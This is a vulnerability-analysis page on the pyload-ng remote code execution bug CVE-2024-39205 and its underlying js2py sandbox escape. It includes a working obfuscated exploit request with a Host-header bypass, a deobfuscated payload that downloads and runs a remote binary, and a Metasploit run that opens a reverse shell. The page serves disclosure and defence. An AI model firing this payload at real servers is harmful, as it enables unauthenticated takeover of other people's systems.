Attacker Value
Moderate
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-39205

Disclosure Date: October 28, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.

Add Assessment

2
Ratings
Technical Analysis

Pyload is an open-source download manager designed to automate file downloads from various online sources. CVE-2024-39205 is a remote
code execution vulnerability in Pyload (<=0.5.0b3.dev85) which can’t be talked about without CVE-2024-28397. CVE-2024-28397 is a sandbox escape vulnerability in js2py (<=0.74). Pyload is vulnerable because it exposes the vulnerable js2py functionality on its /flash/addcrypted2 API endpoint. So they’re essentially the same vulnerability, one is the original vulnerability in the package (CVE-2024-28397) and the other is the vulnerable package in an application being used in a vulnerable way (CVE-2024-39205). For a deeper dive on how the sandbox escape works checkout the AKB Article.

What makes this Pyload nicely exploitable is that the vulnerable endpoint, /flash/addcrypted2, was designed to only accept connections from localhost. However, by manipulating the HOST header (and setting it manually to 127.0.0.1:9666) we can bypass this restriction in order to access the API to achieve unauthenticatecd RCE.

If we spin up the following vulnerable Pyload docker container:

docker run -d \
  --name=pyload-ng \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -p 8000:8000 \
  -p 9666:9666 \
  --restart unless-stopped \
  lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85

And then if we send the following POST request:

POST /flash/addcrypted2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: 3151

crypted=MQ%3d%3d&jk=let%20gn_vuk%20%3d%20String.fromCharCode%28%20%200x63%2c%20117%2c%20114%2c%20108%2c%200x20%2c%200x2d%2c%200x73%2c%20111%2c%20040%2c%20056%2c%20057%2c%200x66%2c%200x42%2c%200x54%2c%200111%2c%200x79%2c%20110%2c%2099%2c%20108%2c%20040%2c%20104%2c%20116%2c%200164%2c%200160%2c%20072%2c%20057%2c%2047%2c%200x31%2c%2055%2c%200x32%2c%200x2e%2c%2049%2c%200x36%2c%200x2e%2c%20061%2c%200x39%2c%2057%2c%2046%2c%20061%2c%200x3a%2c%200x38%2c%20060%2c%2056%2c%200x30%2c%20057%2c%2056%2c%2081%2c%20118%2c%2066%2c%200125%2c%200x50%2c%200x32%2c%20115%2c%200125%2c%200105%2c%200x6d%2c%200x73%2c%200161%2c%2055%2c%20114%2c%200x5f%2c%200172%2c%200x65%2c%200110%2c%200x4b%2c%2057%2c%200x41%2c%2059%2c%2032%2c%200x63%2c%20104%2c%200x6d%2c%200157%2c%20100%2c%2032%2c%200x2b%2c%200x78%2c%200x20%2c%2046%2c%20057%2c%200146%2c%2066%2c%200124%2c%200111%2c%200171%2c%200x6e%2c%200x63%2c%20108%2c%2059%2c%2032%2c%20056%2c%200x2f%2c%200x66%2c%200x42%2c%200124%2c%200x49%2c%20121%2c%200x6e%2c%2099%2c%200154%2c%2032%2c%20046%20%29%0alet%20e_HN%2c%20hnktIzX%2c%20lLvLEoCSOI%0alet%20aCfc8WvqK%2c%20hOq75PVaOuLE%0a%0as5YzR%20%3d%20String.fromCharCode%28%20%200x5f%2c%200137%2c%200x62%2c%2097%2c%200163%2c%200145%2c%200x5f%2c%200x5f%20%29%0asxNn9E7%20%3d%20String.fromCharCode%28%20%200137%2c%200137%2c%200147%2c%20101%2c%200x74%2c%200141%2c%200x74%2c%200164%2c%20114%2c%200151%2c%200142%2c%20117%2c%200164%2c%20101%2c%200x5f%2c%200137%20%29%0ae_HN%20%3d%20Object.getOwnPropertyNames%28%7b%7d%29%0ahnktIzX%20%3d%20e_HN%5bsxNn9E7%5d%0alLvLEoCSOI%20%3d%20hnktIzX%28String.fromCharCode%28%20%2095%2c%200137%2c%200x67%2c%200x65%2c%20116%2c%200x61%2c%200164%2c%200164%2c%200x72%2c%20105%2c%200142%2c%20117%2c%20116%2c%20101%2c%200x5f%2c%200137%20%29%29%0ahOq75PVaOuLE%20%3d%20lLvLEoCSOI%28String.fromCharCode%28%20%2095%2c%200137%2c%200143%2c%200154%2c%2097%2c%20115%2c%200163%2c%2095%2c%2095%20%29%29%5bs5YzR%5d%0aaCfc8WvqK%20%3d%20hOq75PVaOuLE%5bsxNn9E7%5d%0acF_EUy%20%3d%20String.fromCharCode%28%20%2095%2c%200x5f%2c%200163%2c%200165%2c%200142%2c%200143%2c%200x6c%2c%2097%2c%20115%2c%200163%2c%200x65%2c%200x73%2c%2095%2c%200x5f%20%29%3b%0a%0afunction%20nNmzXJ4%28hrx%29%20%7b%0a%20%20%20%20let%20ulg4%3b%0a%20%20%20%20for%28let%20i57HuIp%20in%20hrx%5bcF_EUy%5d%28%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20u5QFJXSf%20%3d%20hrx%5bcF_EUy%5d%28%29%5bi57HuIp%5d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__module__%20%3d%3d%20unescape%28%22%2573%2575%2562%2570%2572%22%20%2b%20%22%256f%2563%2565%2573%2573%22%29%20%26%26%20u5QFJXSf.__name__%20%3d%3d%20String.fromCharCode%28%20%2080%2c%200x6f%2c%200160%2c%20101%2c%200x6e%20%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20u5QFJXSf%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__name__%20%21%3d%20String.fromCharCode%28%20%20116%2c%200x79%2c%20112%2c%200145%20%29%20%26%26%20%28ulg4%20%3d%20nNmzXJ4%28u5QFJXSf%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20ulg4%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%7d%0a%0alLvLEoCSOI%20%3d%20nNmzXJ4%28hOq75PVaOuLE%29%28gn_vuk%2c%20-1%2c%20null%2c%20-1%2c%20-1%2c%20-1%2c%20null%2c%20null%2c%20true%29.communicate%28%29%0a

With a listener setup, we will receive a call back from our payload.

Lets analyze the contents of the POST request. We can see we trick the API into processing our request by setting the Host header: Host: 127.0.0.1:9666. The POST parameter crypted is just a random 4 characters base64 encoded, quite inconsequential. The jk parameter contains the javascript payload (which technically exploits CVE-2024-28397) which has been obfuscated as well as URL encoded.

The plain text version of the payload is as follows (taken from CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py::

let cmd = "curl -so ./qOjRpLcmT http://172.16.199.1:8080/8QvBUP2sUEmsq7r_zeHK9A; chmod +x ./qOjRpLcmT; ./qOjRpLcmT & "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Again, for a deeper dive into what’s going on in the javascript above check out CVE-2024-28397.

Attacker Value and Exploitability

This vulnerability is pretty easy to exploit, requires no authentication and is vulnerable in it’s default configuration. Pyload has 3.3k stars on github meaning that the plugin is being used in some capacity. Added context: I decided to give the attacker rating (3/5), one less than the rating I gave for the js2py sandbox escape CVE-2024-28397, because this vulnerability is patched and the value it can provide to attackers is limited to the Pyload application. The js2py bug is not patched and could provide attackers value in many other applications the library is used in.

Metasploit Module in Action

msf6 > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9666             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host
   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FTdcATmGGDpa     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
meterpreter > getruid
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Additional Info

Technical Analysis